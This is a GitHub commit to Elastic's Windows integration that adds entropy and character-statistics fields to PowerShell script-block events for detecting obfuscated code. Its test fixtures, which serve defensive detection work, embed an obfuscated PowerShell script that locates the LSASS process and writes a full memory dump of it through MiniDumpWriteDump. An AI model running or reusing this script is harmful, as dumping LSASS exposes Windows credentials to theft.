Skip to content

Commit 4bbefe6

Browse files
w0rk3refd6
andauthored
[Enhancement] Add Entropy Enrichments to PowerShell events (#15698)
* [Enhancement] Add Script Entropy Fields to PowerShell events * Update default.yml * Drop normalized entropy * Test * v2 * v2 - forwarded data stream * Apply suggestions * Update packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml Co-authored-by: Dan Kortschak <[email protected]> * Update README.md * update expected json files - script_block_surprisal_stdev * Update packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml Co-authored-by: Dan Kortschak <[email protected]> * Update packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml * Update default.yml --------- Co-authored-by: Dan Kortschak <[email protected]>
1 parent 47073ed commit 4bbefe6

File tree

12 files changed

+382
-3
lines changed

12 files changed

+382
-3
lines changed

packages/windows/changelog.yml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,9 @@
11
# newer versions go on top
2+
- version: "3.1.3"
3+
changes:
4+
- description: Add powershell.file.script_block_entropy and powershell.file.script_block_entropy_normalized fields.
5+
type: enhancement
6+
link: https://github.com/elastic/integrations/pull/15698
27
- version: "3.1.2"
38
changes:
49
- description: Remove unused agent files.

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -271,9 +271,13 @@
271271
},
272272
"powershell": {
273273
"file": {
274+
"script_block_entropy_bits": 2.688721875540867,
274275
"script_block_hash": "64TcviMSSJ/OdhiN8lVcBQeKWDU=",
275276
"script_block_id": "50d2dbda-7361-4926-a94d-d9eadfdb43fa",
276-
"script_block_text": ".\\patata.ps1"
277+
"script_block_length": 12,
278+
"script_block_surprisal_stdev": 0.5698940901163214,
279+
"script_block_text": ".\\patata.ps1",
280+
"script_block_unique_symbols": 7
277281
},
278282
"sequence": 1,
279283
"total": 1

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -174,6 +174,49 @@
174174
"name": "vagrant"
175175
}
176176
},
177+
{
178+
"@timestamp": "2024-07-10T18:28:55.469Z",
179+
"log": {
180+
"level": "verbose"
181+
},
182+
"event": {
183+
"code": "4104",
184+
"kind": "event",
185+
"provider": "Microsoft-Windows-PowerShell"
186+
},
187+
"tags": [
188+
"forwarded"
189+
],
190+
"winlog": {
191+
"level": "verbose",
192+
"event_data": {
193+
"MessageNumber": "1",
194+
"MessageTotal": "1",
195+
"ScriptBlockText": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n $ProcessId,\n $FileStream.SafeFileHandle,\n $MiniDumpWithFullMemory,\n [IntPtr]::Zero,\n [IntPtr]::Zero,\n [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
196+
"ScriptBlockId": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48"
197+
},
198+
"provider_name": "Microsoft-Windows-PowerShell",
199+
"version": 1,
200+
"record_id": 3944,
201+
"computer_name": "kingslanding.sevenkingdoms.local",
202+
"provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
203+
"user": {
204+
"identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
205+
},
206+
"activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
207+
"channel": "Microsoft-Windows-PowerShell/Operational",
208+
"event_id": "4104",
209+
"process": {
210+
"thread": {
211+
"id": 11556
212+
},
213+
"pid": 4696
214+
}
215+
},
216+
"host": {
217+
"name": "kingslanding"
218+
}
219+
},
177220
{
178221
"@timestamp": "2023-06-01T05:27:01.247Z",
179222
"event": {

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -308,6 +308,74 @@
308308
"version": 1
309309
}
310310
},
311+
{
312+
"@timestamp": "2024-07-10T18:28:55.469Z",
313+
"ecs": {
314+
"version": "8.17.0"
315+
},
316+
"event": {
317+
"category": [
318+
"process"
319+
],
320+
"code": "4104",
321+
"kind": "event",
322+
"provider": "Microsoft-Windows-PowerShell",
323+
"type": [
324+
"info"
325+
]
326+
},
327+
"host": {
328+
"name": "kingslanding",
329+
"os": {
330+
"family": "windows",
331+
"type": "windows"
332+
}
333+
},
334+
"log": {
335+
"level": "verbose"
336+
},
337+
"powershell": {
338+
"file": {
339+
"script_block_entropy_bits": 4.999389346653313,
340+
"script_block_hash": "UqkTOrIKrALdr6uz7n5JWUnSHs8=",
341+
"script_block_id": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48",
342+
"script_block_length": 1599,
343+
"script_block_surprisal_stdev": 1.7385527153601164,
344+
"script_block_text": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n $ProcessId,\n $FileStream.SafeFileHandle,\n $MiniDumpWithFullMemory,\n [IntPtr]::Zero,\n [IntPtr]::Zero,\n [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
345+
"script_block_unique_symbols": 66
346+
},
347+
"sequence": 1,
348+
"total": 1
349+
},
350+
"process": {
351+
"pid": 4696
352+
},
353+
"tags": [
354+
"forwarded"
355+
],
356+
"user": {
357+
"id": "S-1-5-21-3715621034-4113696668-281506975-1117"
358+
},
359+
"winlog": {
360+
"activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
361+
"channel": "Microsoft-Windows-PowerShell/Operational",
362+
"computer_name": "kingslanding.sevenkingdoms.local",
363+
"event_id": "4104",
364+
"process": {
365+
"pid": 4696,
366+
"thread": {
367+
"id": 11556
368+
}
369+
},
370+
"provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
371+
"provider_name": "Microsoft-Windows-PowerShell",
372+
"record_id": "3944",
373+
"user": {
374+
"identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
375+
},
376+
"version": 1
377+
}
378+
},
311379
{
312380
"@timestamp": "2023-06-01T05:27:01.247Z",
313381
"ecs": {

packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -324,6 +324,61 @@ processors:
324324
- _temp.script_block_no_space
325325
target_field: powershell.file.script_block_hash
326326
ignore_missing: true
327+
- gsub:
328+
field: powershell.file.script_block_text
329+
target_field: _temp.script_block_no_signature
330+
pattern: "(?s)# SIG # Begin signature block.+"
331+
replacement: ""
332+
ignore_missing: true
333+
- script:
334+
lang: painless
335+
ignore_failure: true
336+
description: >
337+
Compute Shannon entropy of script block text using Unicode character distribution.
338+
Entropy (0-20 bits) measures randomness; surprisal_stdev measures distribution uniformity.
339+
if: ctx._temp?.script_block_no_signature != null
340+
source: |-
341+
// Entropy Variance from: https://github.com/elastic/toutoumomoma/blob/be287c9c0d0e435572e3889a6584199983c688f0/toutoumomoma.go#L326-L363.
342+
String script = ctx._temp.script_block_no_signature;
343+
344+
script = java.text.Normalizer.normalize(script, java.text.Normalizer.Form.NFC);
345+
346+
int n = script.codePointCount(0, script.length());
347+
348+
if (n == 0) {
349+
return;
350+
}
351+
352+
Map counts = script.codePoints().boxed().collect(Collectors.groupingBy(c -> c, Collectors.counting()));
353+
int uniqueSymbols = counts.size();
354+
355+
double invLog2 = 1.0 / Math.log(2.0);
356+
double entropy = 0.0;
357+
double surprisalVar = 0.0;
358+
double pSum = 0.0;
359+
360+
for (def value : counts.values()) {
361+
double cnt = ((Number) value).doubleValue();
362+
double p = cnt / (double) n;
363+
double l2p = Math.log(p) * invLog2;
364+
365+
pSum += p;
366+
double tmp = entropy;
367+
entropy = tmp + (p / pSum) * (l2p - tmp);
368+
surprisalVar += p * (l2p - tmp) * (l2p - entropy);
369+
}
370+
371+
surprisalVar = Math.max(0.0, surprisalVar);
372+
double surprisalSd = Math.sqrt(surprisalVar);
373+
double entropyBits = -entropy;
374+
if (entropyBits == -0.0) {
375+
entropyBits = 0.0;
376+
}
377+
378+
ctx.powershell.file.script_block_entropy_bits = entropyBits;
379+
ctx.powershell.file.script_block_surprisal_stdev = surprisalSd;
380+
ctx.powershell.file.script_block_length = n;
381+
ctx.powershell.file.script_block_unique_symbols = uniqueSymbols;
327382
328383
- split:
329384
description: Split Event 4103 command invocation details.

packages/windows/data_stream/forwarded/fields/fields.yml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -150,6 +150,26 @@
150150
type: keyword
151151
description: >
152152
A hash of the script to be used in rules.
153+
154+
155+
- name: script_block_entropy_bits
156+
type: float
157+
description: >
158+
Randomness measure of the script using Shannon entropy over Unicode characters (0-20 bits).
159+
Entropy values outside the expected range may indicate random or obfuscated code.
160+
- name: script_block_surprisal_stdev
161+
type: float
162+
description: >
163+
Consistency of randomness distribution across the script. Low values indicate uniform randomness.
164+
High values indicate mixed patterns with variability.
165+
- name: script_block_length
166+
type: long
167+
description: >
168+
Total number of characters in the script.
169+
- name: script_block_unique_symbols
170+
type: long
171+
description: >
172+
Number of distinct characters used in the script.
153173
154174
- name: powershell.process.executable_version
155175
type: keyword

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -174,6 +174,49 @@
174174
"name": "vagrant"
175175
}
176176
},
177+
{
178+
"@timestamp": "2024-07-10T18:28:55.469Z",
179+
"log": {
180+
"level": "verbose"
181+
},
182+
"event": {
183+
"code": "4104",
184+
"kind": "event",
185+
"provider": "Microsoft-Windows-PowerShell"
186+
},
187+
"tags": [
188+
"forwarded"
189+
],
190+
"winlog": {
191+
"level": "verbose",
192+
"event_data": {
193+
"MessageNumber": "1",
194+
"MessageTotal": "1",
195+
"ScriptBlockText": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n $ProcessId,\n $FileStream.SafeFileHandle,\n $MiniDumpWithFullMemory,\n [IntPtr]::Zero,\n [IntPtr]::Zero,\n [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
196+
"ScriptBlockId": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48"
197+
},
198+
"provider_name": "Microsoft-Windows-PowerShell",
199+
"version": 1,
200+
"record_id": 3944,
201+
"computer_name": "kingslanding.sevenkingdoms.local",
202+
"provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
203+
"user": {
204+
"identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
205+
},
206+
"activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
207+
"channel": "Microsoft-Windows-PowerShell/Operational",
208+
"event_id": "4104",
209+
"process": {
210+
"thread": {
211+
"id": 11556
212+
},
213+
"pid": 4696
214+
}
215+
},
216+
"host": {
217+
"name": "kingslanding"
218+
}
219+
},
177220
{
178221
"@timestamp": "2023-06-01T05:27:01.247Z",
179222
"event": {

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -292,6 +292,70 @@
292292
"version": 1
293293
}
294294
},
295+
{
296+
"@timestamp": "2024-07-10T18:28:55.469Z",
297+
"ecs": {
298+
"version": "8.17.0"
299+
},
300+
"event": {
301+
"category": [
302+
"process"
303+
],
304+
"code": "4104",
305+
"kind": "event",
306+
"provider": "Microsoft-Windows-PowerShell",
307+
"type": [
308+
"info"
309+
]
310+
},
311+
"host": {
312+
"name": "kingslanding"
313+
},
314+
"log": {
315+
"level": "verbose"
316+
},
317+
"powershell": {
318+
"file": {
319+
"script_block_entropy_bits": 4.999389346653313,
320+
"script_block_hash": "UqkTOrIKrALdr6uz7n5JWUnSHs8=",
321+
"script_block_id": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48",
322+
"script_block_length": 1599,
323+
"script_block_surprisal_stdev": 1.7385527153601164,
324+
"script_block_text": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n $ProcessId,\n $FileStream.SafeFileHandle,\n $MiniDumpWithFullMemory,\n [IntPtr]::Zero,\n [IntPtr]::Zero,\n [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
325+
"script_block_unique_symbols": 66
326+
},
327+
"sequence": 1,
328+
"total": 1
329+
},
330+
"process": {
331+
"pid": 4696
332+
},
333+
"tags": [
334+
"forwarded"
335+
],
336+
"user": {
337+
"id": "S-1-5-21-3715621034-4113696668-281506975-1117"
338+
},
339+
"winlog": {
340+
"activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
341+
"channel": "Microsoft-Windows-PowerShell/Operational",
342+
"computer_name": "kingslanding.sevenkingdoms.local",
343+
"event_id": "4104",
344+
"process": {
345+
"pid": 4696,
346+
"thread": {
347+
"id": 11556
348+
}
349+
},
350+
"provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
351+
"provider_name": "Microsoft-Windows-PowerShell",
352+
"record_id": "3944",
353+
"user": {
354+
"identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
355+
},
356+
"version": 1
357+
}
358+
},
295359
{
296360
"@timestamp": "2023-06-01T05:27:01.247Z",
297361
"ecs": {

0 commit comments

Comments
 (0)